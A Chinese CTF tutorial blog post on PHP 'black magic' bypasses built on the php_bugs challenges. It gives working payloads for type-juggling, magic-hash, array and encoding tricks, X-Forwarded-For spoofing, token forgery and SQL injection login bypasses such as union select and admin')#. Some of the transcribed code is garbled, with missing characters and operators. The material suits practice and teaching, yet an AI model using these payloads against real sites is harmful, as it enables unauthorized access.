PHP 入门基础漏洞
PHP 入门基础漏洞
0x01 前言
这篇文章还是讲一讲黑魔法为主。基于 php_bugs 来学习吧,也听一些师傅说了,如果不是为了打 CTF,根本没必要学 PHP 了,今天是 2022-8-29;正好 Java 学不进去,过一遍 PHP
0x02 PHP 基础函数与特性
file_get_contents
file_get_contents() 把整个文件读入一个字符串中。
- 举个例子
?php
echo file_get_contents("test.txt");
?>
上面的代码将输出:
This is a test file with test text.
isset
isset() 函数用于检测变量是否已设置并且非 NULL。
语法
bool isset ( mixed $var [, mixed $... ] )
参数说明:
$var
:要检测的变量。
如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回 TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。
- 举个栗子
?php $var = '';
// 结果为 TRUE,所以后边的文本将被打印出来。
if (isset($var)) {
echo "变量已设置。" . PHP_EOL;
}
// 在后边的例子中,我们将使用 var_dump 输出 isset() 的返回值。
// the return value of isset().
$a = "test";
$b = "anothertest";
var_dump(isset($a));
// TRUE
var_dump(isset($a, $b));
// TRUE
unset ($a);
var_dump(isset($a));
// FALSE
var_dump(isset($a, $b));
// FALSE
$foo = NULL;
var_dump(isset($foo));
// FALSE ?>
返回值
如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
extract
extract() 函数从数组中将变量导入到当前的符号表。
语法
extract(_array,extract_rules,prefix_)
trim
移除字符串两侧的字符(”Hello” 中的 “He”以及 “World” 中的 “d!”):
?php $str = "Hello World!";
echo $str . PHP_EOL;
echo trim($str,"Hed!");
?>
ereg/preg_match
**mb_ereg**(字符串`$pattern`,字符串`$string`,数组 `&
$matches` = **`null`**):bool
执行与多字节支持的正则表达式匹配。
返回值是 true 或者 false
strcmp
用法
strcmp(str1, str2)
if(str1 str2) {
return 0;
}
else if (str1 >
str2) {
return >
0;
}
else {
return 0;
}
意思是,我们如果使用了 strcmp()
函数,就必须要传入两个变量 ———— str1,str2。
如果 str1 str2
,则返回 0;若 str1 >
str2
,则返回 >
0;如果两者相等,返回 0。
现在我们回来看上面这段源代码,很显然,如果这是一道题目,我们不可能知道 FLAG 是多少,所以无法做到让两者相等,这时候就有了我们很重要的绕过特性!
- 当
strcmp()
比较出错的时候 —-> 返回 NULL;而返回 NULL 即为返回 0,这时候我们就可以得到 Flag ~
0x03 PHP 常见黑魔法
如果要用一句话概括一下黑魔法的成因,我喜欢把它称之为 PHP 原生特点。
在 PHP 当中,我们在类型比较的过程中会产生很多的奇特现象,正是由于这一些奇特现象,会产生一些成功的绕过手段。
1. strcmp 的绕过
- 这里我们先看这样的一段代码:
Strcmp.php
?php
define('FLAG', 'DrunkCTF{
this_is_arrayCompare_flag}
');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}
?>
此处 $_GET['flag']
的意思是从 url 中获取到一个名叫 flag 的 GET 参数。
然后来看我们现在要讲的关键函数 strcmp()
它的用法应该是这样的
strcmp(str1, str2)
if(str1 str2) {
return 0;
}
else if (str1 >
str2) {
return >
0;
}
else {
return 0;
}
意思是,我们如果使用了 strcmp()
函数,就必须要传入两个变量 ———— str1,str2。
如果 str1 str2
,则返回 0;若 str1 >
str2
,则返回 >
0;如果两者相等,返回 0。
现在我们回来看上面这段源代码,很显然,如果这是一道题目,我们不可能知道 FLAG 是多少,所以无法做到让两者相等,这时候就有了我们很重要的绕过特性!
- 当
strcmp()
比较出错的时候 —-> 返回 NULL;而返回 NULL 即为返回 0,这时候我们就可以得到 Flag ~
绕过手段我们先讲 payload,再来讲原理;payload:
?flag[]=0
成功,如图
原理很简单;?flag[]=0
的意思也就是,我传入的变量名为 flag,但是这个 flag 是一个数组类型的变量,数组怎么可能可以和字符串比较呢?所以此处比较出错,成功返回 NULL,也就是返回 0
2. md5 比较绕过
题目代码如下:
?php
define('FLAG', 'DrunkCTF{
you_bypass_md5!}
');
if (($_GET['s1']) != $_GET['s2'] &
&
md5($_GET['s1']) == $_GET['s2']) {
echo "success, flag is :" . FLAG;
}
?>
简单来说,我们的逻辑就是 s1 和 s2 不能相等,但是它们的 md5 值要相等;于是就有了如下两种绕过手段。
绕过一
用科学计数法绕过
‘0e123456789’ == ‘0e987654321’ == 0
以下值在md5加密后以0E开头:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
- 0e215962017(这个用的非常多
payload 如下
md5.php?s1=QNKCDZO&
s2=240610708
绕过二
通过数组绕过,也叫数组 trick
原理:
md5([1,2,3]) == md5([4,5,6]) == NULL
所以我们的 payload:
md5.php?s1[]=1&
s2[]=2
3. extract 变量覆盖绕过
源码如下
?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) {
echo'ctf{
xxx}
';
}
else {
echo'Oh.no';
}
}
?>
这里需要实现shiyan==content,content来源于file_get_contents(flag),而这个file_get_contents函数是把文件的信息打印出来,我们这个flag是个变量,他取值必定不是文件名,因此这里content变量的值为空,此时无论怎么写flag,content都为空,我们只需要保证shiyan也为空就可以,构造payload如下
flag=123&
shiyan=
4. 绕过过滤的空白字符
源码如下
?php
show_source(__FILE__);
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false);
//为一个配置选项设置值
error_reporting(0);
//关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt");
//HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!");
//die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) {
//foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key =>
$value) {
$value = trim($value);
//trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) &
&
$req[$key] = addslashes($value);
// is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number);
//strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1;
//strlen — 获取字符串长度
while($i $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {
$value1}
is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
我们这里可以分段代码审计一下
首先告诉我们需要传进去一个 GET 请求的参数,名为 number;
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt");
//HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!");
//die — 等同于 exit()
}
往下看
foreach([$_GET, $_POST] as $global_var) {
//foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key =>
$value) {
$value = trim($value);
//trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) &
&
$req[$key] = addslashes($value);
// is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
这里的代码不难,读取到我们所有的 GET 请求与 POST 请求的参数,进行循环,然后把这个参数里面的空格去掉,这就是过滤空白字符了。
继续往下看 is_palindrome_number()
函数,用来判断是否为回文数。
后续是判断关键,总结一下有以下四个条件
1、if(is_numeric($_REQUEST['number'])) 这个条件需要为假,才能继续往下运行
2、要求$req['number']==strval(intval($req['number']))
3、要求intval($req["number"])==intval(strrev($req["number"]));
//strrev函数作用是反转字符串
4、 if(is_palindrome_number($req["number"]))这个条件需要为假,才能输出flag
第一个条件,这里我们不能输入 ?number=1
,要不然进不到后续的代码逻辑上,通过 ?number=%001
可以绕过
针对req['number']==strval(intval(req['number']))的话,它这个相当于是不让变量中有字符串,只能有数字时才符合条件,这个是怎么知道的呢,当然是本地测试
?php
show_source(__FILE__);
$a=addslashes(trim($_GET['a']));
$b=strval(intval($a));
var_dump($a==$b);
?>
一般的话肯定考虑一个空格给它绕过,但是这段代码里传入的变量都经过了 trim
函数,trim 函数过滤了很多空白字符
一般的话当然是没办法了,但是这里还有一个%0c
,也就是\f
未被过滤,因此这里我们可以用它来进行绕过,我们本地试也可以发现它是符合条件的
现在来看第三个条件 intval(req["number"])==intval(strrev(
来看最后一个,让 if(is_palindrome_number($req["number"]))
条件为假,这个函数定义如下
这个函数当它是回文数时就会正确,因此看似是与条件三矛盾的,但想到还有空白字符,用它的时候同时写回文数,此时是不是就可以成功绕过呢
我们尝试 payload
?number=%00%0c131
成功 getflag
5. ereg/preg_match 正则 %00 截断
- 源码如下
?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo 'p>
You password must be alphanumeric/p>
';
}
else if (strlen($_GET['password']) 8 &
&
$_GET['password'] >
9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('p>
*-* have not been found/p>
');
}
}
else
{
echo 'p>
Invalid password/p>
';
}
}
?>
这里的话有三个条件
1、 if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === TRUE)
2、(strlen($_GET['password']) 8 &
&
$_GET['password'] >
9999999)
3、 if (strpos ($_GET['password'], '*-*') !== FALSE)
第一个,就是匹配里面要有字母与数字,没事;
第二个比较要动脑,要求我们的密码值大于 9999999,但是不得超过 8 位,你细品;
第三个让password中包含*-*
,这与第一点相悖了,思考这个绕过。
第一个先不考虑,直接看第二个,第二个的绕过很简单,用科学计数法即可。
payload:
?password=1e10
第三个条件这里,要与第一个相结合的绕过:
我们知道当语句遇到%00的时候就会认为是休止符,不再往后看,我们如果在password中添加%00,再添加这个字符串,是不是就可以成功绕过呢,我们构造 payload 如下进行尝试
?password=1e10%00*-*
成功绕过
6. sha()函数比较绕过
源代码如下
?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo 'p>
Your password can not be your name!/p>
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'p>
Invalid password./p>
';
}
else
echo 'p>
Login first!/p>
';
?>
- 这里的逻辑简单看一下,很简单,看着就好绕过;要求是传入的 username 和 password 不能相同,但是它们经过 sha1() 算法之后的值要相同。
sha1 算法加密的同样是字符串,那就意味着当值为数组时同样会报错,如果我们让两个都报错,那么他们肯定是同种类型的 Null,此时就可以绕过,正常的话我们会构造 payload 如下
name[]=1&
password[]=2
7. session 验证绕过
源代码如下
// 08 SESSION验证绕过
?php
$flag = "flag";
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print 'p>
Wrong guess./p>
';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
条件是 _GET['password'] == _SESSION['password'],这里 session 中的 password 是不存在的,需要我们自己传值,那我们如果不传的话不就为 Null 了吗,此时我们的 GET 传 password 也传个空,此时两者是不是就相等了呢,我们尝试一下
payload:
?password=
8. urldecode 二次编码绕过
- 原代码如下
?php
if(eregi("hackerDJ",$_GET['id'])) {
echo("p>
not allowed!/p>
");
exit();
}
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "hackerDJ")
{
echo "p>
Access granted!/p>
";
echo "p>
flag: *****************}
/p>
";
}
?>
写的和那啥一样,一塌糊涂,这里我修改了一下
// 10 urldecode二次编码绕过
?php
$id = $_GET['id'];
if(preg_match("hackerDJ",$id)) {
echo("p>
not allowed!/p>
");
$flag=false;
}
if ($flag === true) {
$m = urldecode($id);
if($m == "hackerDJ")
{
echo "p>
Access granted!/p>
";
echo "p>
flag: *****************}
/p>
";
}
}
?>
这样逻辑是对的
代码逻辑:获取 GET 请求中的 id 参数,判断 id 参数是否与 “hackerDJ” 相同,如果相同,寄。 如果不相同,继续往下看,判断 url 编码后 的 id 变量是否与 “hackerDJ” 相同,这个地方需要对 id 的值进行二次编码,因为第一次编码传进去的会经过一次解码,所以会编程 hackDJ;所以我们的 payload 如下
?id=%2568%2561%2563%256b%2544%254a
这道题还是有点二,算了,就当是二次编码的一个学习吧。
9. X-Forwarded-For 绕过指定 IP 地址
这个有点意思,源码如下
?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! flag is ctf{
*********}
";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
做这道题之前不妨先了解一下HTTP_CLIENT_IP
、X_FORWARDED_FOR
和REMOTE_ADDR
HTTP_CLIENT_IP 是代理服务器发送的HTTP头
HTTP_CLIENT_IP 是代理服务器发送的HTTP头,HTTP_CLIENT_IP确实存在于http请求的header里。
X_FORWARDED_FOR
简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP
REMOTE_ADDR
表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP
简单的总结一下就是
$_SERVER['REMOTE_ADDR'];
//访问端(有可能是用户,有可能是代理的)IP
$_SERVER['HTTP_CLIENT_IP'];
//代理端的(有可能存在,可伪造)
$_SERVER['HTTP_X_FORWARDED_FOR'];
//用户是在哪个IP使用的代理(有可能存在,也可以伪造)
尝试伪造 XFF 头来进行绕过
10. intval 函数
- 这里有四块内容,慢慢讲
int intval(var,base) 的特性
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
intval 四舍五入绕过
源代码:
?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "p>
no! try again/p>
";
}
else{
echo($query[content]);
}
}
?>
绕如其名
整体看过后,发现重点大致是这几句
1 、$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
2、if($_GET[id]==1024)
第二个语句是_GET[id]不等于1024时才往下执行,但好端端的为什么要提到这个1024呢,往下运行是输出查询结果,这是不是间接的说明id为1024时对应的内容为flag呢,因此我们这里去构造一个1024即可,但等于1024又无法往下运行,这个时候就关注到了查询语句中是id,而id是intval(_GET[id]),因此这里就可以用intval的几个特性来绕过了
从官方例子中也可以看出,小数点后不计,那我们这里传值1024.2,在查询时不也是1024吗,而且后面检测是否为1024时还可以绕过检测,因此最终payload为
id=1024.2
绕 preg_match 正则
源代码
?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
?>
0 - 9 都被过滤了,所以要用数组来绕过
payload:
num[]=1
绕某个具体数字
源代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
else{
echo intval($num,0);
}
}
这关的话就是要求变量值不能为4476,但用过intval函数后为4476,这里的话我们首先需要知道intval的第二个参数为0时的意思是什么
根据这张图绕过
看到这里的话就可以看出payload就有多种构造方法了
num=4476e123
//这里就跟上面那个单引号的1e10情况一样,此时只看字母前面的
num=4476.1
//计算int值时,后面有小数点会直接舍去
num=0x117c
//0x表明是十六进制数,117c是4476的十六进制数
num=010574
//0表明是八进制数,10574是4476的八进制数
payload:
?number=010574
终极绕过
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
?>
这道题的话看着几乎是防死了,多过滤了.
,这就意味着小数点绕过行不通,此时我们看到这个i修饰符,想到那个m修饰符,此时就想起来有个换行符%0a,它对实际输出没影响,它还可以绕过上面的那些函数,因此我们这里构造如下语句,就实现了绕过,由于小数点不能用,这里就用八进制
num=%0a010574
11. 十六进制与数字比较
0x04 结合 SQL
1. token 伪造
- 源代码
?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->
where))
{
$this->
select($this->
where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->
select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}
else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}
else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}
else{
header('Location: index.php?error=1');
}
?>
重点的话有以下几处,分别是输出 flag 的地方
if($login['user'] === 'ichunqiu')
{
echo $flag;
}
这就要求 $login['user']
为 ichunqiu
,其次就是它的加密
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
- 感觉这个绕过就非常简单了,修改 Cookie 里面的 token 就好了。
写个简单的 EXP 绕一下
?php
$a=array(['user']==='ichunqiu');
$user =base64_encode(gzcompress(serialize($a)));
echo $user;
?>
2. 密码 md5 比较绕过
?php
//配置数据库
if($_POST[user] &
&
$_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->
connect_error) {
die("Connection failed: " . mysql_error($conn));
}
//赋值
$user = $_POST[user];
$pass = md5($_POST[pass]);
//sql语句
// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #
// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&
pass=123456
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) &
&
(!strcasecmp($pass, $row[pw]))) {
//如果 str1 小于 str2 返回 0; 如果 str1 大于 str2 返回 >
0;如果两者相等,返回 0。
echo "p>
Logged in! Key:************** /p>
";
}
else {
echo("p>
Log in failure!/p>
");
}
}
?>
条件是 if ((row[pw]) & & (!strcasecmp(row[pw]))),而这个 row[pw] 是从根据SQL语句从数据库中查询出来的,因此前面这个也就是说要在数据库中存在这个 SQL 语句对应的密码,而后面的就是校验了,看你输入的密码与数据库是否匹配,这个时候就想到了 union select 可以自己创一行数据
本地测试如下图
mysql>
select * from users where username='' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>
select * from users ;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
从两个查询语句中可以看出,这个union select查询的语句明显是不存在在数据表中的,它取决于我们union select后面输入的东西的
mysql>
select * from users where username='' union select 1,2,database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | security |
+----+----------+----------+
1 row in set (0.00 sec)
那么如果我们用union select的话,这是不是就意味着password可控呢
mysql>
select * from users where username='' union select 1,2,123456;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
此时查询结果,取出password,那肯定就是123456了,由于密码提交的时候有pass = md5(_POST[pass]); ,所以我们提交123456,到检验时中就变成了e10adc3949ba59abbe56e057f20f883e(md5加密后的123456),那我们这个时候不就无法做到对应了吗,不过我们是不是可以把md5加密后的密码放到SQL语句中呢,这样比对的时候不就一致了吗,因此构造payload如下
user=' union select 1,2,'e10adc3949ba59abbe56e057f20f883e' # &
password=123456
3. sql闭合绕过
简单的警号绕过,源码如下
?php
if($_POST[user] &
&
$_POST[pass]) {
$conn = mysql_connect("*******", "****", "****");
mysql_select_db("****") or die("Could not select database");
if ($conn->
connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
//select user from php where (user='admin')#
//exp:admin')#
$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if($row['user']=="admin") {
echo "p>
Logged in! Key: *********** /p>
";
}
if($row['user'] != "admin") {
echo("p>
You are not admin!/p>
");
}
}
?>
payload:
username=admin')#
声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!
若转载请注明出处: PHP 入门基础漏洞
本文地址: https://pptw.com/jishu/291341.html